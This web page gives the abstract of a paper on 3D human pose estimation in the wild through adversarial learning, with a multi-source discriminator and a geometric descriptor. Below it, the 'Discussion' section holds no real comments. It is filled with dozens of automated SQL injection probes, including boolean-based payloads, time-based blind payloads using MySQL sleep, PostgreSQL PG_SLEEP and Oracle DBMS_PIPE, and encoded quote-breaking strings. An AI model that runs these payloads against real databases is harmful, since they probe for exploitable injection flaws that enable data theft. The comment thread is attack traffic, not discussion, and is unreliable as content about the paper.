3D Human Pose Estimation in the Wild by Adversarial Learning

Wei Yang, Wanli Ouyang, Xiaolong Wang, Jimmy Ren, Hongsheng Li, Xiaogang Wang

Recently, remarkable advances have been achieved in 3D human pose estimation from monocular images because of the powerful Deep Convolutional Neural Networks (DCNNs). Despite their success on large-scale datasets collected in the constrained lab environment, it is difficult to obtain the 3D pose annotations for in-the-wild images. Therefore, 3D human pose estimation in the wild is still a challenge. In this paper, we propose an adversarial learning framework, which distills the 3D human pose structures learned from the fully annotated dataset to in-the-wild images with only 2D pose annotations. Instead of defining hard-coded rules to constrain the pose estimation results, we design a novel multi-source discriminator to distinguish the predicted 3D poses from the ground truth, which helps to enforce the pose estimator to generate anthropometrically valid poses even with images in the wild. We also observe that a carefully designed information source for the discriminator is essential to boost the performance. Thus, we design a geometric descriptor, which computes the pairwise relative locations and distances between body joints, as a new information source for the discriminator. The efficacy of our adversarial learning framework with the new geometric descriptor have been demonstrated through extensive experiments on two widely used public benchmarks. Our approach significantly improves the performance compared with previous state-of-the-art approaches.

Discussion


  • -1 OR 2+946-946-1=0+0+0+1 --
    2025-10-01 01:10

    Reply


    zFPWdwPk reply to zFPWdwPk
    -1 OR 2+959-959-1=0+0+0+1 --
    2025-10-01 01:28

    Reply

    zFPWdwPk reply to zFPWdwPk
    -1 OR 2+308-308-1=0+0+0+1
    2025-10-01 01:28

    Reply

    zFPWdwPk reply to zFPWdwPk
    -1' OR 2+286-286-1=0+0+0+1 or 'vKj7yeG7'='
    2025-10-01 01:28

    Reply

    zFPWdwPk reply to zFPWdwPk
    -1" OR 2+817-817-1=0+0+0+1 --
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    -5 OR 129=(SELECT 129 FROM PG_SLEEP(15))--
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    -5) OR 902=(SELECT 902 FROM PG_SLEEP(15))--
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    -1)) OR 957=(SELECT 957 FROM PG_SLEEP(15))--
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:29

    Reply

    zFPWdwPk reply to zFPWdwPk
    1ˤˢ%2527%2522
    2025-10-01 01:29

    Reply

    reply to
    -1 OR 2+628-628-1=0+0+0+1 --
    2025-10-01 01:56

    Reply

    reply to
    -1 OR 2+630-630-1=0+0+0+1
    2025-10-01 01:56

    Reply

    reply to
    -1' OR 2+542-542-1=0+0+0+1 or 'zbmAQgY0'='
    2025-10-01 01:56

    Reply

    reply to
    -1" OR 2+32-32-1=0+0+0+1 --
    2025-10-01 01:56

    Reply

    reply to
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 01:56

    Reply

    reply to
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 01:56

    Reply

    reply to
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 01:56

    Reply

    reply to
    -5 OR 289=(SELECT 289 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -5) OR 940=(SELECT 940 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -1)) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:57

    Reply

    reply to
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:57

    Reply

    reply to
    1����%2527%2522
    2025-10-01 01:57

    Reply

    reply to
    @@rMP4C
    2025-10-01 01:57

    Reply


  • -1 OR 2+496-496-1=0+0+0+1
    2025-10-01 01:10

    Reply


    reply to
    -1 OR 2+936-936-1=0+0+0+1 --
    2025-10-01 01:55

    Reply

    reply to
    -1 OR 2+319-319-1=0+0+0+1
    2025-10-01 01:56

    Reply

    reply to
    -1' OR 2+503-503-1=0+0+0+1 or '5cGXR6Qf'='
    2025-10-01 01:56

    Reply

    reply to
    -1" OR 2+301-301-1=0+0+0+1 --
    2025-10-01 01:56

    Reply

    reply to
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 01:56

    Reply

    reply to
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 01:56

    Reply

    reply to
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 01:56

    Reply

    reply to
    -5 OR 163=(SELECT 163 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -5) OR 301=(SELECT 301 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -1)) OR 159=(SELECT 159 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:56

    Reply

    reply to
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:56

    Reply

    reply to
    1����%2527%2522
    2025-10-01 01:56

    Reply

    reply to
    @@xOCym
    2025-10-01 01:56

    Reply


  • -1' OR 2+133-133-1=0+0+0+1 or 'kItJilis'='
    2025-10-01 01:11

    Reply


    reply to
    -1 OR 2+720-720-1=0+0+0+1 --
    2025-10-01 01:56

    Reply

    reply to
    -1 OR 2+936-936-1=0+0+0+1
    2025-10-01 01:56

    Reply

    reply to
    -1' OR 2+480-480-1=0+0+0+1 or 'UqroBO8V'='
    2025-10-01 01:56

    Reply

    reply to
    -1" OR 2+355-355-1=0+0+0+1 --
    2025-10-01 01:56

    Reply

    reply to
    if(now()=sysdate(),sleep(15),0)
    2025-10-01 01:56

    Reply

    reply to
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 01:56

    Reply

    reply to
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 01:56

    Reply

    reply to
    -5 OR 214=(SELECT 214 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -5) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    -1)) OR 469=(SELECT 469 FROM PG_SLEEP(15))--
    2025-10-01 01:56

    Reply

    reply to
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:57

    Reply

    reply to
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:57

    Reply

    reply to
    1����%2527%2522
    2025-10-01 01:57

    Reply

    reply to
    @@b6JPg
    2025-10-01 01:57

    Reply


  • -1" OR 2+395-395-1=0+0+0+1 --
    2025-10-01 01:11

    Reply



  • if(now()=sysdate(),sleep(15),0)
    2025-10-01 01:11

    Reply



  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    2025-10-01 01:11

    Reply



  • 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    2025-10-01 01:11

    Reply



  • -5 OR 788=(SELECT 788 FROM PG_SLEEP(15))--
    2025-10-01 01:11

    Reply



  • -5) OR 241=(SELECT 241 FROM PG_SLEEP(15))--
    2025-10-01 01:11

    Reply



  • -1)) OR 495=(SELECT 495 FROM PG_SLEEP(15))--
    2025-10-01 01:11

    Reply



  • 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    2025-10-01 01:11

    Reply



  • 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    2025-10-01 01:11

    Reply



  • 1����%2527%2522
    2025-10-01 01:11

    Reply